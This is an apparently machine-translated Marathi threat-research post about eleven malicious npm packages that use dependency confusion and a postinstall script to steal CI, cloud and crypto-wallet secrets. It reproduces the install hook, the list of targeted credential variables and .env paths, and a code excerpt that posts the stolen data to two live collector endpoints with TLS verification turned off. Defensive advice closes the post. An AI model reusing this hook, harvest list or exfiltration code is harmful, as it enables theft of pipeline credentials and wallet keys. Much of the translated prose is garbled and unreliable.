क्रिप्टोडाओ गोंधळ: एनपीएम पॅकेजेस हार्वेस्टिंग CI/CD आणि क्रिप्टो रहस्ये

क्रिप्टोडाओ गोंधळ: अकरा एनपीएम पॅकेजेस, एक पेलोड, हार्वेस्टिंग CI/CD आणि क्रिप्टो-वॉलेटची गुपिते

अनुक्रमणिका

अवश्य वाचा

नवीनतम मनोरंजक पोस्ट्स

TL; डॉ

२०२६-०६-१७ रोजी, एका एनपीएम खात्याने प्रकाशित केले एकच उद्देश आणि एकच पेलोड असलेले अकरा पॅकेजेसत्यांच्यापैकी दहा जण वाहून नेतात cryptodao- उपसर्ग (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -typesअकरावा हा व्याप्ती असलेला आहे @public-for-cdao/coreप्रत्येकजण आवृत्तीमध्ये प्रकाशित झाला होता. 99.99.99 आणि एक बाइट-सारखे पाठवते recon.js जे चालते postinstall.

नावेच सर्व काही सांगतात. ती एखाद्या क्रिप्टो/डीएओ प्रोजेक्टच्या खाजगी टूलचेनचे अंतर्गत रचनात्मक घटक असल्यासारखी वाटतात. सार्वजनिक एनपीएम रजिस्ट्रीवर कृत्रिमरित्या वाढवलेल्या आवृत्तीत प्रकाशित केलेले हे घटक, बिल्डची वाट पाहत असतात. pipeline जे ती नावे रिझॉल्व्ह करण्यासाठी कॉन्फिगर केलेले आहे आणि जे खाजगी रजिस्ट्रीच्या आधी — किंवा त्याऐवजी — सार्वजनिक npm पर्यंत पोहोचते. हे आहे अवलंबित्व गोंधळआणि पेलोड नेमके कुठे उतरण्याची अपेक्षा आहे त्यानुसार जुळवून घेतलेले असते: CI/CD धावपटू.

कधी postinstall आग, recon.js यजमानाचा तपशील गोळा करते, अंदाजे तपासणी करते चाळीस क्लाउड, सीआय, आणि क्रिप्टो-वॉलेट पर्यावरण व्हेरिएबल्सकोणतेही वाचतो .env ते शोधू शकणाऱ्या फाईल्समधून गुप्त माहिती असलेल्या ओळी जशाच्या तशा पुढे पाठवते, मग तो बंडल दोन संग्राहकांकडे पाठवते — webhook.site आणि एक Pipedream एंडपॉइंट — ज्यामध्ये TLS प्रमाणपत्र पडताळणी अक्षम केलेली आहे. त्याची एक प्रत खालील ठिकाणी देखील लिहिलेली आहे. /tmp.

तीव्रता: उच्चप्रभावित परिसंस्था: npmहे लिहित असताना सर्व अकरा पॅकेजेस कार्यरत होती.

शरीररचनाशास्त्रावर हल्ला

या यंत्रणेत चार हलणारे भाग आहेत, आणि एकदा का ते समजले की त्यांपैकी एकही भाग सूक्ष्म राहत नाही. पॅकेजच्या नावाच्या पलीकडे एक स्तर पहा.

१. रिझॉल्व्हरला आमिष म्हणून आवृत्तीची वाढ. प्रत्येक पॅकेज आवृत्ती घोषित करते 99.99.99जेव्हा पॅकेज मॅनेजरला विचारले जाते तेव्हा डिपेंडन्सी कन्फ्युजन काम करते. अंतर्गत नाव, तसेच सार्वजनिक रजिस्ट्री तपासते आणि त्यातील सर्वोच्च आवृत्ती निवडते. finds.npm's default selection for a caret or wildcard range is the प्रत्येक कॉन्फिगर केलेल्या स्रोतावरील सर्वाधिक समाधानकारक आवृत्ती; जर दोन्ही खाजगी एकाच नावासाठी रजिस्ट्री आणि सार्वजनिक एनपीएम उत्तरामध्ये, मोठा आवृत्ती क्रमांक ग्राह्य धरला जातो. A 99.99.99 प्रकल्पाच्या कोणत्याही खऱ्या अंतर्गत आवृत्तीपेक्षा श्रेष्ठ ठरते. गाठले, म्हणून खाजगी स्त्रोताशी जोडलेला नसलेला रिझॉल्वर प्राधान्य देतो सार्वजनिक — आणि या प्रकरणात, द्वेषपूर्ण — प्रत. ऑपरेटरला हे माहित असण्याची गरज नाही लक्ष्याच्या वास्तविक आवृत्ती क्रमांक; एक अवास्तव कमाल संख्या निवडल्याने बरोबरी नेहमीच निश्चित होते ते त्यांचा मार्ग मोकळा करतात.

२. पोस्टइन्स्टॉल ट्रिगर. package.json पेलोडला इन्स्टॉलशी जोडते जीवनचक्र:

{   "scripts": { "postinstall": "node recon.js" } }

पॅकेज आयात करण्याची आवश्यकता नाही. फक्त ते स्थापित करणे — जे एक CI आहे pipeline आपोआप चालते रिकॉन.जेएस.

३. एक व्यापक गुप्त मोहीम. रिकॉन.जेएस टप्प्याटप्प्याने निकालांचा अॅरे तयार करते:

  • होस्ट संदर्भ: होस्टनेम, प्लॅटफॉर्म आणि रिलीज, आर्किटेक्चर, वापरकर्तानाव, कार्यरत डिरेक्ट्री.
  • पर्यावरण व्हेरिएबल्स: हे सुमारे चाळीस नावे आणि नोंदींच्या एका निश्चित यादीवर पुनरावृत्ती करते. जे सेट केलेले आहेत ते सर्व. ही यादी बरेच काही सांगून जाते — ती जेनेरिक CI टोकन्सच्या जोड्या लावते. (सीआय_जॉब_टोकन, CI_REGISTRY_PASSWORD, गिटलॅब_अॅक्सेस_टोकन) आणि ढग ओळखपत्रे (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) रजिस्ट्री आणि कंटेनर सिक्रेट्ससहएनपीएम_टोकन, डॉकर_पासवर्ड, बंदर पासवर्ड) आणि एक वेगळाच क्रिप्टो-सदृश समूह:  खाजगी_की, स्मरणशक्ती, SEED_PHRASE, INFURA_API_KEY, अल्केमी_एपीआय_की, ईटीएच_आरपीसी, बीएससी_आरपीसीनोंदवलेली मूल्ये पहिल्या ५० अक्षरांपर्यंत संक्षिप्त केली जातात.
  • .env फाइल्स: हे पाथच्या सूचीची तपासणी करते — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, आणि ते .उत्पादन/.विकास प्रकार — आणि अस्तित्वात असलेल्या कोणत्याही फाईलसाठी, ते जुळणाऱ्या ओळींपर्यंत सामग्री फिल्टर करते चावी | गुप्त | टोकन | पास | खाजगी | स्मरणसूत्र आणि त्या ओळी **पूर्णपणे, न कापता** निकालांमध्ये समाविष्ट करते.
  • बिल्ड-होस्ट संदर्भ: यात पहिल्या २० नोंदींची यादी असते /बांधकामे/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/आणि / टीएमपी /.

पाथ लिस्ट आणि व्हेरिएबल लिस्टमध्ये गिटलॅब रनर्सना प्राधान्य दिले जाते, जे दर्शवते की पेलोडची जबाबदारी डेव्हलपरऐवजी थेट सेल्फ-होस्टेड CI इन्फ्रास्ट्रक्चरवर असते. लॅपटॉप. काढणीच्या यादीची श्रेणीनुसार गटवारी केल्याने अपेक्षित माल स्पष्ट होतो:

वर्ग चल / पोहोचलेले मार्ग
CI/CD ओळख आणि तैनाती CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
मेघ AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
नोंदणी आणि कंटेनर NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
डेटा स्टोअर्स DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
क्रिप्टो / ब्लॉकचेन PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
संदेश SLACK_TOKEN, DISCORD_TOKEN
डिस्कवर .env कुटुंब + /home/gitlab-runner/.env, /root/.env, /app/**/.env; निर्देशिका सूची /builds/, /var/lib/gitlab-runner/

क्रिप्टो क्लस्टर हाच तो भाग आहे जो याला एका सामान्य CI-सिक्रेटपासून वेगळे करतो. स्वीप: वॉलेट सीड फ्रेजेस आणि साइनिंग कीज केवळ एका एनव्हायरमेंटमध्ये दिसतात. ब्लॉकचेन प्रकल्प, आणि ते थेट त्यावर मॅप होतात क्रिप्टोडाओ-/चिन्ह/करार वाहकांची नावे.

4. पडताळणी अक्षम करून दुहेरी डेटा बाहेर काढणे. गोळा केलेला अॅरे आहे सीरियलाइझ करून दोन ठिकाणी POST केले:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

अनधिकृत नाकारले: खोटे आउटबाउंडसाठी TLS प्रमाणपत्र तपासणी बंद करते कॉल्स. तोच डेटा stdout वर प्रिंट केला जातो (त्यामुळे तो CI जॉब लॉग्जमध्ये देखील येतो) आणि यांना लिहिलेले /tmp/.npm_recon_ .jsonचुका नकळत गिळल्या जातात, म्हणून... अयशस्वी पाठवणे इन्स्टॉल आउटपुटमध्ये एकाच गोष्टीपलीकडे कोणताही मागोवा सोडत नाही. [पुनर्विचार] वर स्थापित केले ओळ.

फाईलमधील एका प्रमुख टिप्पणीमध्ये याचे वर्णन “डिपेंडन्सी कन्फ्युजन” असे केले आहे. टेहळणी पेलोड.” पर्यावरण मूल्यांचे ५० अक्षरांपर्यंत संक्षेपीकरण केल्यामुळे संकल्पनेच्या सिद्धतेचे स्वरूप. जी गोष्ट त्याला केवळ उपस्थिती दर्शवणाऱ्या बीकनच्या पलीकडे नेते ती म्हणजे... .env हाताळणी: गोपनीय मजकूर असलेल्या ओळी पूर्णपणे पाठवल्या जातात, आणि गंतव्यस्थाने केवळ मोजणाऱ्या सिंकऐवजी, हल्लेखोराच्या नियंत्रणाखाली असलेले दोन कार्यरत कलेक्टर आहेत. हिट्स

टाइमलाइन

पब्लिश पॅटर्न हे अकरा नव्हे, तर एकाच स्क्रिप्टेड पुशचे सिग्नेचर आहे. स्वतंत्र अपलोड.

वेळ (UTC, २०२६-०६-१७) कार्यक्रम
03:24:58 cryptodao-bot@99.99.99 प्रकाशित
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — स्कोप केलेला व्हेरिएंट, सुमारे २४ मिनिटांनंतर

२९ सेकंदांच्या कालावधीत दहा पॅकेजेस पाठवण्यात आली, म्हणजेच साधारणपणे प्रत्येक तीन सेकंदाला एक. व्याप्ती @public-for-cdao/core सुमारे २४ मिनिटांनंतर घडले — एक दुसरा जर वापरणारा प्रकल्प संदर्भ देत असेल तर, त्याच लक्ष्यासाठी नामकरण पद्धत केवळ नावांच्या स्वरूपात न पाहता, एका व्याप्तीच्या (scope) अंतर्गत असलेले टूलचेन.

तडजोडीचे संकेतक

प्रकार दर्शक
जिल्हाधिकारी hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
जिल्हाधिकारी hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
हुक स्थापित करा postinstall: node recon.js
फाईल टाकली /tmp/.npm_recon_<timestamp>.json
लॉग मार्कर [recon] <pkg>@<ver> installed on <hostname> (CI लॉग्समधील stdout)
वर्तणूक rejectUnauthorized: false इन्स्टॉल करताना आउटबाउंड HTTPS वर
पेलोड recon.jsसर्व अकरा पॅकेजेसमध्ये एकसारखे (एक सामायिक बिल्ड)
आवृत्ती 99.99.99 प्रत्येक पॅकेजवर
पॅकेजेस cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (सर्व 99.99.99)
प्रकाशक aduljune / aduljune@proton.me (ईमेल सत्यापित नाही, कोणतेही जोडलेले स्रोत भांडार नाही)

 श्रेय देणे आणि निरीक्षण केलेले वर्तन

क्लस्टरमधील प्रत्येक गोष्ट एकाच गोष्टीकडे निर्देश करते. सर्व अकरा पॅकेजेस प्रकाशित झाली होती. एनपीएम खात्याद्वारे अडुलजून (aduljune@proton.meपडताळणी न झालेला पत्ता, कोणताही लिंक केलेले स्रोत रिपॉझिटरी), २५ मिनिटांच्या कालावधीत, त्याच वेळी 99.99.99 आवृत्ती, शिपिंग रिकॉन.जेएस ज्यांची सामग्री प्रत्येक ठिकाणी बाइट-दर-बाइट एकसारखी असते पॅकेज (अकराही काढलेल्या प्रतींमधील MD5 जुळण्या). हा एक पेलोड आहे. नावांच्या यादीवर शिक्का मारलेला, स्वतंत्र कोडचा पुनर्वापर नाही.

नावांची यादी अभिप्रेत लक्ष्य निश्चित करते. क्रिप्टोडाओ-* आणि cdao वर्णन करा क्रिप्टो/डीएओ प्रकल्पाची खाजगी मॉड्यूल रचना आणि पेलोडची हार्वेस्ट लिस्ट त्या अंदाजाला दुजोरा देते: सामान्य CI आणि क्लाउड सिक्रेट्सच्या जोडीने, ते विशेषतः पोहोचण्याचा प्रयत्न खाजगी_की, स्मरणशक्ती, SEED_PHRASEआणि इथेरियम/बीएससी आरपीसी आणि प्रदाता की. द .env शोध मार्ग आणि डिरेक्टरी सूची गिटलॅब-रनर आहेत विशिष्ट. याचा दृश्य परिणाम असा आहे की कोणताही pipeline हे इन्स्टॉल करण्यासाठी फसवणूक झाली नावे त्यांचे सीआय टोकन, क्लाउड की आणि ऑन-डिस्क पुढे पाठवतील .env रहस्ये — आणि, साठी एका ब्लॉकचेन प्रकल्पाचे, त्याच्या वॉलेटमधील साहित्य — दोन तृतीय-पक्ष संग्राहकांना.

हे खाते कोण चालवते किंवा त्यांनी त्या खात्याचे काय करण्याची योजना आखली होती, याबद्दल आम्ही कोणताही दावा करत नाही. माहिती. स्वतःच सिद्ध होणारी तथ्ये: ही नावे एका विशिष्ट प्रकाराला लक्ष्य करतात. अंतर्गत टूलचेनद्वारे, पेलोड वास्तविक गुप्त मूल्ये वाचतो आणि प्रसारित करतो, आणि पायाभूत सुविधा कार्यरत होत्या.

परिणाम, कल आणि संरक्षक मार्गदर्शन

अवलंबित्व गोंधळ ते प्रभावी राहते कारण ते रिझॉल्वरच्या वर्तनाचा फायदा घेते, एकाचा नाही. कोणत्याही पॅकेजमधील असुरक्षितता. येथील वाहक क्षुल्लक आहे — अकरा जवळजवळ रिकामे. पॅकेजेस — पण त्याचा परिणाम काय होतो हे सांगता येत नाही. pipeline चुकीने सार्वजनिक एनपीएमला प्राधान्य देते अंतर्गत नावासाठी. सीआय रनर्स हे असे घडण्यासाठी सर्वात वाईट ठिकाण आहे: ते धरून ठेवतात नेमके टोकन आणि .env हा पेलोड ज्या फाईल्स वाचतो, त्या इन्स्टॉल होतात. अवलंबित्वे गैर-संवादात्मकपणे, म्हणून एक पोस्टइंस्टॉल कोणीही पाहत नसताना धावते.

हा समूह देखील आम्हाला वारंवार दिसणाऱ्या एका पॅटर्नमध्ये बसतो: इन्स्टॉल-टाइम पेलोड्स जे सादर करतात प्रत्यक्ष ओळखपत्रे गोळा करताना "संशोधन" किंवा "शोधमोहीम" म्हणून वापरले जाणारे लेबल. फाईलमधील बदलामुळे रनरवरील कोडच्या कार्यात बदल होत नाही. दोन डिझाइन निवडी कायम ठेवतात. क्रियाकलाप शांत: प्रत्येक नेटवर्क आणि फाइलसिस्टम ऑपरेशन एका मध्ये गुंडाळलेले असते त्रुटी वगळणारा अपवाद हँडलर, जसे की ब्लॉक केलेले सेंड किंवा गहाळ फाईल. कोणतेही निदानात्मक आउटपुट तयार होत नाही, आणि फक्त एकच निरुपद्रवी गोष्ट छापली जाते. [रिकॉन] … स्थापित केले सामान्य इन्स्टॉलच्या संवादात मिसळून जाणारी ओळ. चा वापर वेबहूक.साईट आणि पाइपड्रीम हे देखील जाणीवपूर्वक दिलेली सोय आहे — दोन्ही विनामूल्य आहेत. तात्काळ उपलब्ध होणाऱ्या रिक्वेस्ट-कॅप्चर सेवांमुळे ऑपरेटरला कोणत्याही सर्व्हरची आवश्यकता नसते. त्यांचे स्वतःचे आणि गंतव्यस्थाने इग्रेस लॉगमध्ये सामान्य SaaS होस्टनेमसारखी दिसतात.

जरी आर्थिक बाबींमुळे हे समर्थकांसाठी लक्ष देण्यायोग्य ठरते, तरीही कॅरियर कोड अगदी सोपा आहे. अकरा नावांची नोंदणी करण्यासाठी काहीही खर्च येत नाही, पेलोड एकच आहे. फाईल अकरा वेळा कॉपी केली, आणि पॅकेज मॅनेजर सर्व अंमलबजावणी करतो. एकच चुकीचे कॉन्फिगर केलेले pipeline जी कोणतीही जागा या नावांपैकी एकाचा वापर करते, ती संपूर्ण खर्चाची भरपाई करते. ऑपरेशन

बचाव करणाऱ्यांसाठी ठोस पावले:

  • तुमच्या खाजगी रजिस्ट्रीमध्ये अंतर्गत स्कोप पिन करा. npm कॉन्फिगर करा जेणेकरून अंतर्गत नावे
     आणि स्कोप केवळ तुमच्या रजिस्ट्रीच्या संदर्भातच रिझॉल्व्ह होतात (स्कोप केलेले .npmrc रजिस्ट्री मॅपिंग्ज,
    किंवा मालकीच्या नेमस्पेसेससाठी असा प्रॉक्सी जो कधीही सार्वजनिक npm वर जात नाही). तुमची सार्वजनिक स्कोप नावे राखून ठेवा जेणेकरून इतर कोणीही त्यांची नोंदणी करू शकणार नाही.
  • Commit लॉकफाईल्स आणि –ignore-scripts सह इन्स्टॉल करा CI मध्ये जेथे शक्य असेल तेथे, किंवा ज्या मोजक्या डिपेंडेंसींना खरोखरच इन्स्टॉल स्क्रिप्ट्सची गरज आहे, त्यांची छाननी करा.  जर recon.js चालू शकत नसेल तर पोस्टइंस्टॉल अंमलात आणले जात नाही.
  • अंतर्गत दिसणाऱ्या नावाच्या ९९.९९.९९ (किंवा इतर अवास्तवपणे उच्च) आवृत्तीला हाताळा धोक्याची सूचना म्हणून डिपेंडेंसी रिव्ह्यू आणि रजिस्ट्री मॉनिटरिंगमध्ये.
  • इन्स्टॉलच्या वेळी बाहेर पडताना सूचना. A पोस्टइंस्टॉल जे एक आउटबाउंड HTTPS उघडते कनेक्शन — विशेषतः प्रमाणपत्र पडताळणी अक्षम केलेली असताना — वेबहुक.साइट, पाइपड्रीम, किंवा तत्सम रिक्वेस्ट-कॅप्चर सेवांना नेटवर्क एजवर ब्लॉक करणे आणि बिल्ड लॉगमध्ये फ्लॅग करणे महत्त्वाचे आहे.
  • पुरातन वस्तूंचा शोध घ्या. धावपटूंसाठी तपासा /tmp/.npm_recon_*.json आणि साठी [रिकॉन] … अलीकडील CI लॉग्समध्ये … मार्करवर स्थापित केले आहे. आढळल्यास, प्रत्येक वेळी फिरवा. त्यास उघड केलेले क्रेडेन्शियल pipeline — CI टोकन्स, क्लाउड कीज, रजिस्ट्री टोकन्स आणि एनव्हायरमेंट किंवा .env फाईल्समध्ये असलेले कोणतेही वॉलेट सीड्स किंवा प्रायव्हेट कीज.

संदर्भ

हे लिहिण्याच्या वेळी या क्लस्टरवर कोणताही बाह्य अहवाल उपलब्ध नव्हता; विश्लेषण वरील माहिती थेट प्रकाशित पॅकेज सामग्रीवर आधारित आहे.

sca-tools-software-composition-analysis-tools
तुमच्या सॉफ्टवेअरमधील धोक्यांना प्राधान्य द्या, त्यांचे निवारण करा आणि त्यांना सुरक्षित करा.
आपले मोफत खाते मिळवा.
क्रेडिट कार्ड आवश्यक नाही.

तुमचा सॉफ्टवेअर विकास आणि वितरण सुरक्षित करा

झायगेनी प्रोडक्ट सूटसह